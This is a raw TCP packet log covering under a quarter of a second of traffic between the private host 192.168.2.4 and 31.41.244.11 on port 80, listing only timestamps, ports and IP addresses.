Dec 20, 2024 09:12:31.716346979 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.717005968 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.717075109 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.717426062 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.718038082 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.718718052 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.718734026 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.718774080 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.718790054 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.719419003 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.719631910 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.719685078 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.720082045 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.720097065 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.720145941 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.720704079 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.720863104 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.720879078 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.721118927 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.721484900 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.721538067 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.721626043 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.721672058 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.722126007 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.722170115 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.722213030 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.722256899 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.722989082 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.723032951 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.723052979 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.723095894 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.723802090 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.723848104 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.723872900 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.723916054 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.727052927 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.727068901 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.727085114 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.727101088 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.727102041 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.727118969 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.727123022 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.727138042 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.727144957 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.727170944 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.727190971 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.727598906 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.727617025 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.727648020 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.727662086 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.728276968 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.728322983 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.728458881 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.728502989 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.729168892 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.729213953 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.729362965 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.729403973 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.730118036 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.730134010 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.730165958 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.730577946 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.730623007 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.730714083 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.730757952 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.731431007 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.731473923 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.731518030 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.731561899 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.732314110 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.732362032 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.732403994 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.732448101 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.733130932 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.733175039 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.733230114 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.733273983 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.733974934 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.734021902 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.734028101 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.734069109 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.734846115 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.734891891 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.734942913 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.734988928 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.735697031 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.735742092 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.735785961 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.735830069 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.736542940 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.736588001 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.736619949 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.736661911 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.737416983 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.737462997 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.737550020 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.737597942 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.738287926 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.738332987 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.738388062 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.738514900 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.739084959 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.739129066 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.739304066 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.739348888 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.739947081 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.740016937 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.740055084 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.740099907 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.740767002 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.740813017 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.740874052 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.740916967 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.741614103 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.741691113 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.741728067 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.741776943 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.742461920 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.742505074 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.742589951 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.742634058 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.743340015 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.743390083 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.743431091 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.743480921 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.744179010 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.744224072 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.744266987 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.744312048 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.745019913 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.745064974 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.745198965 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.745242119 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.746365070 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.746414900 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.747389078 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.747433901 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.748754025 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.748769999 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.748786926 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.748795033 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.748805046 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.748807907 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.748823881 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.748828888 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.748841047 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.748846054 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.748861074 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.748879910 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.749639034 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.749685049 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.749815941 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.749860048 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.750360966 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.750402927 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.750514984 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.750559092 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.751354933 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.751399040 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.751521111 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.751565933 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.752079010 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.752123117 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.752253056 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.752298117 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.752962112 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.752976894 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.753002882 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.753017902 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.753808975 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.753823996 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.753849030 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.753865004 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.754659891 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.754705906 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.754847050 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.754889011 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.755384922 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.755430937 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.755574942 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.755616903 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.756417990 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.756463051 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.756597996 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.756640911 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.757282019 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.757446051 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.757496119 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.758059978 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.758196115 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.758243084 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.758862019 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.759171009 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.759224892 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.759804010 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.759855032 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.759927034 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.760291100 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.760344982 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.909094095 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.909120083 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.909367085 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.909432888 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.909487963 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.909578085 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.909624100 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.910288095 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.910329103 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.910372019 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.910420895 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.911153078 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.911196947 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.911286116 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.911328077 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.912030935 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.912075043 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.912118912 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.912158966 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.912843943 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.912888050 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.912987947 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.913032055 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.913717031 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.913763046 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.913827896 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.913875103 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.914541006 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.914586067 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.914710999 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.914757967 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.915380001 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.915426970 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.915493965 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.915538073 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.916222095 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.916265965 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.916342974 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.916390896 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.917112112 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.917155981 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.917227983 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.917272091 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.917920113 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.917963982 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.918014050 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.918057919 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.918766022 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.918812990 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.918879986 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.918924093 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.919653893 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.919701099 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.919794083 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.919836998 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.920483112 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.920522928 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.920619965 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.920666933 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.921394110 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.921410084 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.921437979 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.921452045 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.922162056 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.922207117 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.922250986 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.922292948 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.923046112 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.923089027 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.923176050 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.923219919 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.923855066 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.923898935 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.923943996 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.923989058 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.924701929 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.924741983 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.924803972 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.924849987 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.925582886 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.925628901 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.925628901 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.925672054 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.926495075 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.926538944 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.926608086 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.926654100 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.927298069 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.927345037 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.927397966 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.927453041 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.928133011 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.928175926 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.928275108 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.928318024 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.928967953 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.929033995 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.929078102 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.929121971 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.929831028 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.929874897 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.929913044 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.929956913 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.930670023 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.930715084 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.930779934 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.930820942 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.931516886 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.931560993 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.931605101 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.931649923 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.932379007 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.932423115 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.932486057 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.932528973 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.933223963 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.933268070 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.933319092 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.933363914 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.934053898 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.934099913 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.934144020 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.934189081 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.934914112 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.934958935 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.934979916 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.935023069 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.935753107 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.935796976 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.935870886 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.935914993 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.936615944 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.936661959 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.936738014 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.936779976 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.937474966 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.937519073 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.937618017 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.937661886 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.939047098 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.939114094 CET	49808	80	192.168.2.4	31.41.244.11
